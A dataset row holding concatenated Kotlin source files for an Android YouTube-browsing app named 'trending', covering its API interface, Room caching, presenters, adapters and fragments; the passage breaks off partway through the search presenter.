branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>package com.example.trending.ui
import android.content.Intent
import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.EditText
import android.widget.ProgressBar
import android.widget.Toast
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.adapters.OnVideoClickListener
import com.example.trending.adapters.SearchListAdapter
import com.example.trending.models.passingModel.Video
import com.example.trending.models.seachModels.SearchItems
import com.example.trending.presenters.SearchFragmentPresenter
import com.example.trending.ui.views.SearchFragmentView
import io.reactivex.disposables.CompositeDisposable
import org.koin.android.ext.android.inject
import org.koin.core.parameter.parametersOf
class SearchFragment : Fragment(), SearchFragmentView, OnVideoClickListener<SearchItems> {
private lateinit var searchInput: EditText
private lateinit var searchProgressBar: ProgressBar
private lateinit var searchList: RecyclerView
private val presenter: SearchFragmentPresenter by inject { parametersOf(this) }
private val disposable: CompositeDisposable by inject()
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(Layout.fragment_search, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
searchInput = view.findViewById(Id.searchInput)
searchProgressBar = view.findViewById(Id.searchProgress)
searchList = view.findViewById(Id.searchList)
searchList.layoutManager = LinearLayoutManager(context)
presenter.searchAbout(searchInput, disposable)
}
override fun onStop() {
super.onStop()
disposable.clear()
}
// receive search list results from api and pass it to search adapter
override fun onReceiveSearchResults(list: List<SearchItems>?, err: String?) {
list?.let {
val finalResults = presenter.filterSearchResults(it)
val adapter: SearchListAdapter by inject { parametersOf(finalResults, this) }
searchList.adapter = adapter
searchProgressBar.visibility = View.GONE
return
}
Toast.makeText(context, err, Toast.LENGTH_LONG).show()
searchProgressBar.visibility = View.GONE
}
//set progress bar visibility
override fun setProgressVisibility(visibility: Int) {
searchProgressBar.visibility = visibility
}
// when user click on specific item
override fun onItemClicked(obj: SearchItems) {
val video: Video by inject {
parametersOf(
obj.id.videoId,
obj.snippet.description,
obj.snippet.title,
obj.snippet.channelId,
obj.snippet.thumbnails.default.url
)
}
val streamIntent = Intent(requireContext(), StreamingActivity::class.java)
streamIntent.putExtra(getString(R.string.video), video)
startActivity(streamIntent)
}
}<file_sep>package com.example.trending.models.channelModels
import com.google.gson.annotations.SerializedName
data class Localized (
@SerializedName("title") val title : String,
@SerializedName("description") val description : String
)<file_sep>package com.example.trending.models.channelModels
import com.google.gson.annotations.SerializedName
data class PageInfo (
@SerializedName("totalResults") val totalResults : Int,
@SerializedName("resultsPerPage") val resultsPerPage : Int
)<file_sep>package com.example.trending.modules
import android.content.Context
import androidx.room.Room
import com.example.trending.R
import com.example.trending.adapters.*
import com.example.trending.caching.cachingCategories.CategoryCachingDatabase
import com.example.trending.caching.cachingCategories.CategoryItem
import com.example.trending.caching.savesVideos.VideoCachingDatabase
import com.example.trending.caching.savesVideos.VideoCachingItem
import com.example.trending.models.passingModel.Video
import com.example.trending.models.seachModels.SearchItems
import com.example.trending.models.videosModels.VideoItems
import com.example.trending.network.Api
import com.example.trending.network.Constants
import com.example.trending.presenters.HomeFragmentPresenter
import com.example.trending.presenters.SavesFragmentPresenter
import com.example.trending.presenters.SearchFragmentPresenter
import com.example.trending.presenters.StreamingActivityPresenter
import com.example.trending.ui.views.HomeFragmentView
import com.example.trending.ui.views.SavesFragmentView
import com.example.trending.ui.views.SearchFragmentView
import com.example.trending.ui.views.StreamingActivityView
import io.reactivex.disposables.CompositeDisposable
import org.koin.android.ext.koin.androidContext
import org.koin.dsl.module
import retrofit2.Retrofit
import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory
import retrofit2.converter.gson.GsonConverterFactory
//all application modules
val appModules = module {
//adapters
single { (list: ArrayList<CategoryItem>) ->
CategoriesAdapter(androidContext(), list)
}
factory { (list: List<VideoItems>, listener: OnVideoClickListener<VideoItems>) ->
PopularVideosAdapter(list, listener)
}
factory { (list: MutableList<SearchItems>, listener: OnVideoClickListener<SearchItems>) ->
SearchListAdapter(list, listener)
}
factory { (list: MutableList<VideoCachingItem>,
listener: OnVideoClickListener<VideoCachingItem>,
deleteListener: SavesAdapter.OnDeleteListener) ->
SavesAdapter(list, listener , deleteListener)
}
//disposable
single {
getCompositeDisposable()
}
//presenters
factory { (view: SearchFragmentView) ->
SearchFragmentPresenter(view, get())
}
factory { (view: HomeFragmentView) ->
HomeFragmentPresenter(view, get())
}
factory { (streamView: StreamingActivityView, savesView: SavesFragmentView) ->
StreamingActivityPresenter(streamView, get(), savesView, get())
}
factory { (savesView: SavesFragmentView) ->
SavesFragmentPresenter(savesView, get())
}
//retrofit
single {
getRetrofit()
}
//api
single {
getApi(get())
}
//room
single {
getCategoryCachingDatabase(androidContext())
}
single {
getVideoCachingDatabase(androidContext())
}
//video model
factory { (videoId: String, description: String?, title: String?, channelId: String, poster: String) ->
Video(videoId, description, title, channelId, poster)
}
// video caching item
factory { (id: String,
title: String?,
desc: String?,
idChannel: String,
posterUri: String) ->
VideoCachingItem(id, title, desc, idChannel, posterUri)
}
}
// this for return composite disposable
fun getCompositeDisposable(): CompositeDisposable {
return CompositeDisposable()
}
//this method return retrofit
fun getRetrofit(): Retrofit {
return Retrofit.Builder()
.baseUrl(Constants.BASE_URL)
.addConverterFactory(GsonConverterFactory.create())
.addCallAdapterFactory(RxJava2CallAdapterFactory.create())
.build()
}
//this method return api interface
fun getApi(client: Retrofit): Api {
return getRetrofit().create(Api::class.java)
}
//this return our database class
fun getCategoryCachingDatabase(context: Context): CategoryCachingDatabase {
return Room.databaseBuilder(
context,
CategoryCachingDatabase::class.java,
context.getString(R.string.categories_database)
).build()
}
fun getVideoCachingDatabase(context: Context): VideoCachingDatabase {
return Room.databaseBuilder(
context,
VideoCachingDatabase::class.java,
context.getString(R.string.videos_database)
).build()
}
<file_sep>package com.example.trending.ui
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.navigation.fragment.NavHostFragment
import androidx.navigation.fragment.findNavController
import androidx.navigation.ui.NavigationUI
import com.example.trending.R
import com.google.android.material.bottomnavigation.BottomNavigationView
class MainActivity : AppCompatActivity() {
private lateinit var bar: BottomNavigationView
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(Layout.activity_main)
setUpBottomBar()
}
private fun setUpBottomBar() {
bar = findViewById(Id.bottomBar)
val nav = supportFragmentManager.findFragmentById(Id.fragment) as NavHostFragment
NavigationUI.setupWithNavController(bar, nav.findNavController())
}
}<file_sep>package com.example.trending.models.videosModels
import com.google.gson.annotations.SerializedName
data class VideoItems(
@SerializedName("kind") val kind: String,
@SerializedName("etag") val etag: String,
@SerializedName("id") val id: String,
@SerializedName("snippet") val snippet: Snippet
)<file_sep>package com.example.trending.caching.savesVideos
import androidx.room.Dao
import androidx.room.Delete
import androidx.room.Insert
import androidx.room.Query
@Dao
interface VideoCachingDAO {
@Insert
fun save(item: VideoCachingItem)
@Query("SELECT * FROM VideoCachingItem")
fun getAllSaves(): MutableList<VideoCachingItem>
@Query("SELECT * FROM VideoCachingItem WHERE video_id LIKE :videoId")
fun getByVideoId(videoId: String): VideoCachingItem?
@Delete
fun unSave(item: VideoCachingItem)
}<file_sep>package com.example.trending.network
import com.example.trending.models.responses.ChannelResponse
import com.example.trending.models.responses.VideoResponse
import com.example.trending.models.responses.CategoriesResponse
import com.example.trending.models.responses.SearchResponse
import io.reactivex.Observable
import retrofit2.Call
import retrofit2.http.GET
import retrofit2.http.Query
interface Api {
@GET(Constants.CATEGORIES_ENDPOINT)
fun getCategories(): Call<CategoriesResponse>
@GET(Constants.VIDEOS_ENDPOINT)
fun getPopularVideos(): Observable<VideoResponse>
@GET(Constants.VIDEOS_ENDPOINT)
fun getVideosByCategoryId(@Query("videoCategoryId") categoryId: Int): Observable<VideoResponse>
@GET(Constants.SEARCH_ENDPOINT)
fun searchingAbout(@Query("q") q: String): Observable<SearchResponse>
@GET(Constants.CHANNELS_ENDPOINT)
fun getChannel(@Query("id") id: String): Observable<ChannelResponse>
}<file_sep>package com.example.trending.models.videosModels
import com.google.gson.annotations.SerializedName
data class Snippet (
@SerializedName("publishedAt") val publishedAt : String,
@SerializedName("channelId") val channelId : String,
@SerializedName("title") val title : String,
@SerializedName("description") val description : String,
@SerializedName("thumbnails") val thumbnails : Thumbnails,
@SerializedName("channelTitle") val channelTitle : String,
@SerializedName("tags") val tags : List<String>,
@SerializedName("categoryId") val categoryId : Int,
@SerializedName("liveBroadcastContent") val liveBroadcastContent : String,
@SerializedName("localized") val localized : Localized
)<file_sep>package com.example.trending.models.passingModel
import java.io.Serializable
data class Video(
val videoId: String,
val description: String?,
val title: String?,
val channelId: String,
val poster: String
) : Serializable<file_sep>package com.example.trending.adapters
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.models.seachModels.SearchItems
import com.example.trending.ui.Id
import com.example.trending.ui.Layout
import com.squareup.picasso.Picasso
class SearchListAdapter(
private val list: MutableList<SearchItems>,
private val listener: OnVideoClickListener<SearchItems>
) :
RecyclerView.Adapter<SearchListAdapter.ViewHolder>() {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val view = LayoutInflater.from(parent.context).inflate(Layout.search_item, parent, false)
return ViewHolder(view)
}
override fun getItemCount(): Int {
return list.size
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
holder.title?.text = list[position].snippet.title
Picasso.get().load(list[position].snippet.thumbnails.default.url).into(holder.poster)
}
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
var poster: ImageView? = null
var title: TextView? = null
init {
poster = itemView.findViewById(Id.searchResultPoster)
title = itemView.findViewById(Id.searchResultTitle)
itemView.setOnClickListener {
if (adapterPosition != RecyclerView.NO_POSITION) {
listener.onItemClicked(list[adapterPosition])
}
}
}
}
}<file_sep>package com.example.trending.caching.cachingCategories
import androidx.room.Dao
import androidx.room.Insert
import androidx.room.Query
@Dao
interface CachingCategoriesDAO {
@Insert
fun cachingCategories(item: CategoryItem)
@Query("SELECT * from CategoryItem ")
fun getCategories(): List<CategoryItem>
@Query("SELECT * from CategoryItem WHERE id LIKE :id")
fun getCategoryById(id:Int): CategoryItem
}<file_sep>package com.example.trending.caching.cachingCategories
import androidx.room.ColumnInfo
import androidx.room.Entity
import androidx.room.PrimaryKey
@Entity
data class CategoryItem(
@PrimaryKey(autoGenerate = true) val id: Int = 0,
@ColumnInfo(name = "item_title") val title: String,
@ColumnInfo(name = "item_id") val itemId: Int
)
<file_sep>package com.example.trending.models.seachModels
import com.google.gson.annotations.SerializedName
data class Id (
@SerializedName("kind") val kind : String,
@SerializedName("videoId") val videoId : String?
)<file_sep>package com.example.trending.models.channelModels
import com.google.gson.annotations.SerializedName
data class Snippet (
@SerializedName("title") val title : String,
@SerializedName("description") val description : String,
@SerializedName("customUrl") val customUrl : String,
@SerializedName("publishedAt") val publishedAt : String,
@SerializedName("thumbnails") val thumbnails : Thumbnails,
@SerializedName("localized") val localized : Localized
)<file_sep>package com.example.trending.ui
import com.example.trending.R
typealias Drawable = R.drawable
typealias Id = R.id
typealias Layout = R.layout
<file_sep>package com.example.trending.presenters
import android.annotation.SuppressLint
import com.example.trending.caching.savesVideos.VideoCachingDatabase
import com.example.trending.caching.savesVideos.VideoCachingItem
import com.example.trending.ui.views.SavesFragmentView
import io.reactivex.Observable
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.functions.Function
import io.reactivex.schedulers.Schedulers
open class SavesFragmentPresenter(
private val view: SavesFragmentView,
private val db: VideoCachingDatabase
) {
//save video into room
@SuppressLint("CheckResult")
fun save(video: VideoCachingItem) {
Observable.create<VideoCachingItem> {
it.onNext(video)
}.map {
db.getCachingVideosDao().save(it)
"saved"
}.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onSaveVideo(it)
}
}
@SuppressLint("CheckResult")
fun getAllSaves() {
Observable.create<MutableList<VideoCachingItem>> {
it.onNext(db.getCachingVideosDao().getAllSaves())
}.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onReceiveAllSaves(it)
}
}
@SuppressLint("CheckResult")
fun getByVideoId(videoId: String) {
Observable.create<VideoCachingItem?> {
db.getCachingVideosDao().getByVideoId(videoId)?.let { it1 -> it.onNext(it1) }
}.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onReceiveCurrentVideo(it)
}
}
@SuppressLint("CheckResult")
fun unSave(videoId: String) {
Observable.create<VideoCachingItem> {
db.getCachingVideosDao().getByVideoId(videoId)?.let { it1 -> it.onNext(it1) }
}.map { t ->
db.getCachingVideosDao().unSave(t)
"Video removed from saves"
}.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onRemoveItemFromSaves(it)
}
}
}<file_sep>package com.example.trending.models.seachModels
import com.google.gson.annotations.SerializedName
data class Thumbnails (
@SerializedName("default") val default : Default,
@SerializedName("medium") val medium : Medium,
@SerializedName("high") val high : High
)<file_sep>package com.example.trending.models.responses
import com.example.trending.models.channelModels.ChannelItems
import com.example.trending.models.channelModels.PageInfo
import com.google.gson.annotations.SerializedName
data class ChannelResponse(
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("pageInfo") val pageInfo : PageInfo,
@SerializedName("items") val items : List<ChannelItems>
)<file_sep>package com.example.trending.ui
import android.os.Bundle
import android.view.View
import android.widget.*
import com.example.trending.R
import com.example.trending.caching.savesVideos.VideoCachingDatabase
import com.example.trending.caching.savesVideos.VideoCachingItem
import com.example.trending.models.passingModel.Video
import com.example.trending.network.Constants
import com.example.trending.presenters.StreamingActivityPresenter
import com.example.trending.ui.views.SavesFragmentView
import com.example.trending.ui.views.StreamingActivityView
import com.google.android.youtube.player.YouTubeBaseActivity
import com.google.android.youtube.player.YouTubeInitializationResult
import com.google.android.youtube.player.YouTubePlayer
import com.google.android.youtube.player.YouTubePlayerView
import com.squareup.picasso.Picasso
import de.hdodenhof.circleimageview.CircleImageView
import io.reactivex.disposables.CompositeDisposable
import org.koin.android.ext.android.inject
import org.koin.core.parameter.parametersOf
class StreamingActivity : YouTubeBaseActivity(), YouTubePlayer.OnInitializedListener,
StreamingActivityView, SavesFragmentView {
private lateinit var streamContainer: LinearLayout
private lateinit var streamProgress: ProgressBar
private lateinit var channelTitleTextView: TextView
private lateinit var channelLogo: CircleImageView
private lateinit var player: YouTubePlayerView
private lateinit var description: TextView
private lateinit var saveBtn: ImageView
private lateinit var videoId: String
private lateinit var video: Video
private val presenter: StreamingActivityPresenter by inject { parametersOf(this, this) }
private val disposable: CompositeDisposable by inject()
private var isSaved = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(Layout.activity_streaming)
player = findViewById(Id.youtubePlayer)
description = findViewById(Id.video_description)
streamContainer = findViewById(Id.streamContainer)
streamProgress = findViewById(Id.streamProgress)
channelTitleTextView = findViewById(Id.channelTitle)
channelLogo = findViewById(Id.channelLogo)
saveBtn = findViewById(Id.saveBtn)
video = intent.getSerializableExtra(getString(R.string.video)) as Video
videoId = video.videoId
presenter.getChannel(video.channelId, disposable)
}
override fun onStop() {
super.onStop()
disposable.clear()
}
override fun onInitializationSuccess(
p0: YouTubePlayer.Provider?,
p1: YouTubePlayer?,
p2: Boolean
) {
p1?.loadVideo(videoId)
}
override fun onInitializationFailure(
p0: YouTubePlayer.Provider?,
p1: YouTubeInitializationResult?
) {
Toast.makeText(this, p1?.name, Toast.LENGTH_LONG).show()
}
// when receive channel logo and title from api
override fun onReceiveChannel(channelTitle: String?, channelLogo: String?, err: String?) {
if (err == null) {
this.channelTitleTextView.text = channelTitle
Picasso.get().load(channelLogo).placeholder(Drawable.user).into(this.channelLogo)
video.description?.let {
this.description.text = it
}
this.streamContainer.visibility = View.VISIBLE
this.player.initialize(Constants.API_KEY, this)
presenter.getByVideoId(videoId)
} else {
Toast.makeText(this, err, Toast.LENGTH_LONG).show()
finish()
}
this.streamProgress.visibility = View.GONE
}
//when user click on save button
override fun onSaveVideo(message: String?) {
message?.let {
Toast.makeText(this, message, Toast.LENGTH_SHORT).show()
isSaved = true
saveBtn.setImageResource(Drawable.saved)
}
}
//we won't use this method here
override fun onReceiveAllSaves(list: MutableList<VideoCachingItem>) {
}
//check if current video is found on saves videos or not
override fun onReceiveCurrentVideo(video: VideoCachingItem?) {
if (video != null) {
isSaved = true
saveBtn.setImageResource(Drawable.saved)
}
}
//when user want to un save this video
override fun onRemoveItemFromSaves(message: String?) {
message?.let {
Toast.makeText(this, message, Toast.LENGTH_LONG).show()
isSaved = false
saveBtn.setImageResource(Drawable.save)
}
}
//when user click on save button
fun onClickSave(view: View) {
if (!isSaved) {
val item: VideoCachingItem by inject {
parametersOf(
videoId,
video.title,
video.description,
video.channelId,
video.poster
)
}
presenter.save(item)
} else {
presenter.unSave(videoId)
}
}
}<file_sep>package com.example.trending.ui.views
import com.example.trending.caching.savesVideos.VideoCachingItem
interface SavesFragmentView {
fun onSaveVideo(message: String?)
fun onReceiveAllSaves(list: MutableList<VideoCachingItem>)
fun onReceiveCurrentVideo(video: VideoCachingItem?)
fun onRemoveItemFromSaves(message: String?)
}<file_sep>package com.example.trending.adapters
import android.annotation.SuppressLint
import android.content.Context
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ArrayAdapter
import android.widget.TextView
import com.example.trending.R
import com.example.trending.caching.cachingCategories.CategoryItem
import com.example.trending.ui.Id
import com.example.trending.ui.Layout
class CategoriesAdapter(
context: Context,
private val list: ArrayList<CategoryItem>
) :
ArrayAdapter<CategoryItem>(context, Layout.category_item, list) {
@SuppressLint("ViewHolder")
override fun getView(position: Int, convertView: View?, parent: ViewGroup): View {
val view: View = LayoutInflater.from(context).inflate(Layout.category_item, parent, false)
val kind = view.findViewById<TextView>(Id.categoryKind)
val category = getItem(position)
if (category != null) {
kind.text = list[position].title
}
return view
}
}<file_sep>package com.example.trending.ui
import android.content.Intent
import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.AdapterView
import android.widget.ListView
import android.widget.ProgressBar
import android.widget.Toast
import androidx.appcompat.app.ActionBarDrawerToggle
import androidx.appcompat.app.AppCompatActivity
import androidx.appcompat.widget.Toolbar
import androidx.core.view.GravityCompat
import androidx.drawerlayout.widget.DrawerLayout
import androidx.recyclerview.widget.LinearLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.adapters.CategoriesAdapter
import com.example.trending.adapters.OnVideoClickListener
import com.example.trending.adapters.PopularVideosAdapter
import com.example.trending.caching.cachingCategories.CategoryCachingDatabase
import com.example.trending.caching.cachingCategories.CategoryItem
import com.example.trending.models.videosModels.VideoItems
import com.example.trending.models.categoryModels.Items
import com.example.trending.models.passingModel.Video
import com.example.trending.presenters.HomeFragmentPresenter
import com.example.trending.ui.views.HomeFragmentView
import io.reactivex.disposables.CompositeDisposable
import org.koin.android.ext.android.inject
import org.koin.core.parameter.parametersOf
class HomeFragment : Fragment(), HomeFragmentView, AdapterView.OnItemClickListener,
OnVideoClickListener<VideoItems> {
private lateinit var toolbar: Toolbar
private lateinit var drawer: DrawerLayout
private lateinit var actionBarDrawerToggle: ActionBarDrawerToggle
private lateinit var mostPopularList: RecyclerView
private lateinit var categories: ListView
private lateinit var homeProgressBar: ProgressBar
private lateinit var categoryProgressBar: ProgressBar
private val presenter: HomeFragmentPresenter by inject { parametersOf(this) }
private val db: CategoryCachingDatabase by inject()
private val disposable: CompositeDisposable by inject()
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(Layout.fragment_home, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
toolbar = view.findViewById(Id.supportToolbar)
drawer = view.findViewById(Id.drawer)
categories = view.findViewById(Id.categories)
homeProgressBar = view.findViewById(Id.homeProgress)
mostPopularList = view.findViewById(Id.trendingList)
categoryProgressBar = view.findViewById(Id.categoryProgress)
mostPopularList.layoutManager = LinearLayoutManager(context)
categories.onItemClickListener = this
val activity = activity as AppCompatActivity
activity.setSupportActionBar(toolbar)
activity.supportActionBar?.setDisplayHomeAsUpEnabled(false)
activity.supportActionBar?.setHomeButtonEnabled(true)
setUpDrawerToggle()
drawer.addDrawerListener(actionBarDrawerToggle)
presenter.getCachingCategories(db)
}
override fun onStop() {
super.onStop()
disposable.clear()
}
// receive categories from api then caching it
override fun onReceiveCategories(list: ArrayList<Items>?) {
list?.let {
presenter.cachingCategories(it, db)
}
}
//when user click on specific category to get category id
override fun onReceiveCategoryById(item: CategoryItem?) {
item?.let {
categoryProgressBar.visibility = View.VISIBLE
presenter.getVideosByCategoryId(it.itemId, disposable)
}
}
// display categories within side menu
override fun onReceiveCachingCategories(list: ArrayList<CategoryItem>) {
if (list.isEmpty()) {
presenter.getCategories()
} else {
val adapter: CategoriesAdapter by inject { parametersOf(list) }
categories.adapter = adapter
presenter.getPopularVideos(disposable)
}
}
//receive popular videos from api and display it within most popular list
override fun onReceivePopularVideos(list: List<VideoItems>?, err: String?) {
list?.let {
val adapter: PopularVideosAdapter by inject { parametersOf(it, this) }
mostPopularList.adapter = adapter
homeProgressBar.visibility = View.GONE
return
}
Toast.makeText(context, err, Toast.LENGTH_LONG).show()
homeProgressBar.visibility = View.GONE
}
//receive videos by category and display it
override fun onReceiveVideosByCategoryId(list: List<VideoItems>?, err: String?) {
list?.let {
val adapter: PopularVideosAdapter by inject { parametersOf(it, this) }
mostPopularList.adapter = adapter
categoryProgressBar.visibility = View.GONE
return
}
Toast.makeText(context, err, Toast.LENGTH_LONG).show()
categoryProgressBar.visibility = View.GONE
}
//category list adapter listener
override fun onItemClick(parent: AdapterView<*>?, view: View?, position: Int, id: Long) {
drawer.closeDrawer(GravityCompat.START)
presenter.getCategoryById(position + 1, db)
}
//setup side menu
private fun setUpDrawerToggle() {
actionBarDrawerToggle = ActionBarDrawerToggle(
requireActivity(),
drawer,
toolbar,
R.string.app_name,
R.string.app_name
)
actionBarDrawerToggle.syncState()
}
//when user click on play btn to specific video
override fun onItemClicked(obj: VideoItems) {
val streamIntent = Intent(requireContext(), StreamingActivity::class.java)
val video: Video by inject {
parametersOf(
obj.id,
obj.snippet.description,
obj.snippet.title,
obj.snippet.channelId,
obj.snippet.thumbnails.default.url
)
}
streamIntent.putExtra(getString(R.string.video), video)
startActivity(streamIntent)
}
}<file_sep>package com.example.trending.models.channelModels
import com.google.gson.annotations.SerializedName
data class ChannelItems (
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("id") val id : String,
@SerializedName("snippet") val snippet : Snippet
)<file_sep>package com.example.trending.presenters
import com.example.trending.caching.savesVideos.VideoCachingDatabase
import com.example.trending.models.responses.ChannelResponse
import com.example.trending.network.Api
import com.example.trending.ui.views.SavesFragmentView
import com.example.trending.ui.views.StreamingActivityView
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.disposables.CompositeDisposable
import io.reactivex.observers.DisposableObserver
import io.reactivex.schedulers.Schedulers
class StreamingActivityPresenter(
private val streamView: StreamingActivityView,
private val api: Api,
private val savesView: SavesFragmentView,
private val db: VideoCachingDatabase
) : SavesFragmentPresenter(savesView, db) {
// get channel from api
fun getChannel(id: String, disposable: CompositeDisposable) {
disposable.add(
api.getChannel(id).subscribeOn(Schedulers.computation())
.observeOn(AndroidSchedulers.mainThread())
.subscribeWith(object : DisposableObserver<ChannelResponse>() {
override fun onComplete() {
}
override fun onNext(t: ChannelResponse) {
streamView.onReceiveChannel(
t.items[t.items.size - 1].snippet.title,
t.items[t.items.size - 1].snippet.thumbnails.default.url,
null
)
}
override fun onError(e: Throwable) {
streamView.onReceiveChannel(null, null, e.message)
}
})
)
}
}<file_sep>package com.example.trending.models.responses
import com.example.trending.models.seachModels.PageInfo
import com.example.trending.models.seachModels.SearchItems
import com.google.gson.annotations.SerializedName
data class SearchResponse(
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("nextPageToken") val nextPageToken : String,
@SerializedName("regionCode") val regionCode : String,
@SerializedName("pageInfo") val pageInfo : PageInfo,
@SerializedName("items") val items : List<SearchItems>
)<file_sep>package com.example.trending.models.seachModels
import com.google.gson.annotations.SerializedName
data class Snippet (
@SerializedName("publishedAt") val publishedAt : String,
@SerializedName("channelId") val channelId : String,
@SerializedName("title") val title : String,
@SerializedName("description") val description : String,
@SerializedName("thumbnails") val thumbnails : Thumbnails,
@SerializedName("channelTitle") val channelTitle : String,
@SerializedName("liveBroadcastContent") val liveBroadcastContent : String,
@SerializedName("publishTime") val publishTime : String
)<file_sep>package com.example.trending.adapters
interface OnVideoClickListener<T> {
fun onItemClicked(obj: T)
}<file_sep>package com.example.trending.models.responses
import com.example.trending.models.videosModels.PageInfo
import com.example.trending.models.videosModels.VideoItems
import com.google.gson.annotations.SerializedName
data class VideoResponse(
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("items") val items : List<VideoItems>,
@SerializedName("nextPageToken") val nextPageToken : String,
@SerializedName("pageInfo") val pageInfo : PageInfo
)<file_sep>package com.example.trending.presenters
import android.annotation.SuppressLint
import com.example.trending.caching.cachingCategories.CategoryCachingDatabase
import com.example.trending.caching.cachingCategories.CategoryItem
import com.example.trending.models.responses.VideoResponse
import com.example.trending.models.responses.CategoriesResponse
import com.example.trending.models.categoryModels.Items
import com.example.trending.network.Api
import com.example.trending.ui.views.HomeFragmentView
import io.reactivex.Observable
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.disposables.CompositeDisposable
import io.reactivex.observers.DisposableObserver
import io.reactivex.schedulers.Schedulers
import retrofit2.Call
import retrofit2.Callback
import retrofit2.Response
class HomeFragmentPresenter(private val view: HomeFragmentView, private val api: Api) {
// get all categories from api
fun getCategories() {
api.getCategories().enqueue(object : Callback<CategoriesResponse> {
override fun onFailure(call: Call<CategoriesResponse>, t: Throwable) {
view.onReceiveCategories(null)
}
override fun onResponse(
call: Call<CategoriesResponse>,
response: Response<CategoriesResponse>
) {
if (response.isSuccessful) {
view.onReceiveCategories(response.body()?.items as ArrayList<Items>)
} else {
view.onReceiveCategories(null)
}
}
})
}
// get all categories from caching
@SuppressLint("CheckResult")
fun getCachingCategories(categoryCachingDatabase: CategoryCachingDatabase) {
Observable.create<List<CategoryItem>> {
it.onNext(categoryCachingDatabase.getCachingCategoriesDao().getCategories())
}
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onReceiveCachingCategories(it as ArrayList<CategoryItem>)
}
}
// get specific category from caching
@SuppressLint("CheckResult")
fun getCategoryById(id: Int, db: CategoryCachingDatabase) {
Observable.create<CategoryItem> {
it.onNext(db.getCachingCategoriesDao().getCategoryById(id))
}
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe {
view.onReceiveCategoryById(it)
}
}
// caching all categories into room database
@SuppressLint("CheckResult")
fun cachingCategories(list: ArrayList<Items>, db: CategoryCachingDatabase) {
Observable.create<CategoryItem> {
for (item in list) {
val categories = CategoryItem(0, item.snippet.title, item.id)
it.onNext(categories)
}
it.onComplete()
}
.subscribeOn(Schedulers.io())
.observeOn(Schedulers.io())
.subscribe({ item -> db.getCachingCategoriesDao().cachingCategories(item) },
{},
{ getCachingCategories(db) })
}
// get trending videos from api
fun getPopularVideos(disposable: CompositeDisposable) {
disposable.add(
api.getPopularVideos()
.subscribeOn(
Schedulers.computation()
)
.observeOn(AndroidSchedulers.mainThread())
.subscribeWith(object : DisposableObserver<VideoResponse>() {
override fun onComplete() {
}
override fun onNext(t: VideoResponse) {
view.onReceivePopularVideos(t.items, null)
}
override fun onError(e: Throwable) {
view.onReceivePopularVideos(null, e.message)
}
})
)
}
// get trending videos by category id from api
fun getVideosByCategoryId(id: Int, disposable: CompositeDisposable) {
disposable.add(
api.getVideosByCategoryId(id)
.subscribeOn(
Schedulers.computation()
)
.observeOn(AndroidSchedulers.mainThread())
.subscribeWith(object : DisposableObserver<VideoResponse>() {
override fun onComplete() {
}
override fun onNext(t: VideoResponse) {
view.onReceiveVideosByCategoryId(t.items, null)
}
override fun onError(e: Throwable) {
view.onReceiveVideosByCategoryId(null, e.localizedMessage)
}
})
)
}
}<file_sep>package com.example.trending.presenters
import com.example.trending.models.responses.SearchResponse
import android.annotation.SuppressLint
import android.text.Editable
import android.text.TextUtils
import android.text.TextWatcher
import android.view.View
import android.widget.EditText
import com.example.trending.models.seachModels.SearchItems
import com.example.trending.network.Api
import com.example.trending.ui.views.SearchFragmentView
import io.reactivex.Observable
import io.reactivex.android.schedulers.AndroidSchedulers
import io.reactivex.disposables.CompositeDisposable
import io.reactivex.observers.DisposableObserver
import io.reactivex.schedulers.Schedulers
import java.util.concurrent.TimeUnit
class SearchFragmentPresenter(private val view: SearchFragmentView, private val api: Api) {
// observe on edit text and pass input to api
@SuppressLint("CheckResult")
